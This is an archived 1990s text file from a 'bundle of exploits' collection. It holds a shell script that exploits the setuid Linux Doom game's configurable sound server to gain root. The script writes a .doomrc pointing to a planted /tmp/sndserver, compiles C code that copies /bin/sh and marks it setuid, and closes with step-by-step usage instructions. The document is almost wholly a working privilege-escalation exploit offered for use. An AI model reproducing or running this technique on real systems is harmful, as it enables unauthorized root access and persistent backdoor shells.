home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / doomsnd.txt < prev    next >
Text File  |  1998-07-17  |  647b  |  20 lines

  1. ------------ CUT HERE --------------
  2. #!/bin/sh
  3. # Tue Dec 17 10:02:20 MET 1996 Bo
  4. echo 'sndserver "/tmp/sndserver"' > .doomrc
  5. cat > /tmp/sndserver.c << EOF
  6. #include <stdio.h>
  7. #include <unistd.h>
  8. main() {
  9.         if (fork()) while (getc(stdin));
  10.         else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
  11.                 /* or whatever you like to do */
  12. }
  13. EOF
  14. gcc /tmp/sndserver.c -o /tmp/sndserver
  15. ------------ CUT HERE --------------
  16. The  fork()  is  just so that doom runs on nicely without locking up the
  17. keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
  18. the script, start sdoom, quit the normal way, and execute /tmp/sh.
  19.  
  20.